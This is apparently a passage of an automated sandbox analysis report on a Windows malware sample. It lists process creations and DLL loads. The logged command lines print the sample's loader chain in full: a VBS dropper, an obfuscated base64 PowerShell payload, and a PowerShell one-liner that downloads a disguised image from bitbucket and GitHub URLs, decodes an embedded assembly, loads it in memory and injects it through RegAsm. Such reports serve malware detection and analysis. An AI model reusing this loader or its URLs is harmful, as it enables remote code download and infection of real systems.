[System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 123.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
